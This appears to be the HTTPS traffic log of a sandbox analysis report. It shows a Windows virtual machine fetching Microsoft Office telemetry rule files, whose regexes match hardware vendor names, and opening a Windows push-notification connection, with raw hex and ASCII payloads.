2024-11-23 04:02:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040221Z-174c587ffdf6b487hC1TEBydsn000000028g00000000k5kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 6ebbc676-001e-005a-784b-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040221Z-15b8b599d88qw29phC1TEB5zag00000002a000000000gpvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040221Z-174c587ffdfx984chC1TEB676g00000002c000000000d55q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:22 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040223Z-15b8b599d88l2dpthC1TEBmzr000000002f00000000016fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040223Z-15b8b599d8885prmhC1TEBsnkw00000002n0000000001qvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040223Z-178bfbc474bq2pr7hC1NYCkfgg0000000440000000005sa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040223Z-178bfbc474bbcwv4hC1NYCypys00000003wg000000001cmh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 5b0f4dfe-c01e-00a1-3715-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040223Z-178bfbc474bp8mkvhC1NYCzqnn00000003t000000000a2r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49730	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6a 45 47 6c 77 79 68 38 5a 6b 43 7a 48 62 55 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 65 63 30 39 61 34 61 35 36 38 39 37 61 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: jEGlwyh8ZkCzHbUS.1Context: cdec09a4a56897a6
2024-11-23 04:02:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 04:02:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6a 45 47 6c 77 79 68 38 5a 6b 43 7a 48 62 55 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 65 63 30 39 61 34 61 35 36 38 39 37 61 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 62 46 66 49 61 38 42 37 7a 2f 45 70 43 53 31 4d 59 50 62 64 39 73 4c 36 37 54 6a 70 52 2f 41 78 6e 53 6d 50 56 4e 6e 32 68 59 35 73 54 6d 53 65 64 47 4c 35 6a 53 74 71 42 58 2f 34 74 42 73 42 67 78 4a 6e 74 57 59 64 57 39 43 76 53 38 76 44 37 76 55 48 69 78 72 4a 5a 2b 4f 4c 77 41 38 79 48 66 37 6b 5a 30 43 6e 2b 49 33 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: jEGlwyh8ZkCzHbUS.2Context: cdec09a4a56897a6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYbFfIa8B7z/EpCS1MYPbd9sL67TjpR/AxnSmPVNn2hY5sTmSedGL5jStqBX/4tBsBgxJntWYdW9CvS8vD7vUHixrJZ+OLwA8yHf7kZ0Cn+I38
2024-11-23 04:02:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6a 45 47 6c 77 79 68 38 5a 6b 43 7a 48 62 55 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 65 63 30 39 61 34 61 35 36 38 39 37 61 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: jEGlwyh8ZkCzHbUS.3Context: cdec09a4a56897a6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 04:02:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 04:02:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 48 6c 52 74 74 61 49 78 55 79 37 30 73 43 77 30 4f 58 39 73 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fHlRttaIxUy70sCw0OX9sQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040225Z-178bfbc474bvjk8shC1NYC83ns00000003sg00000000b4b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

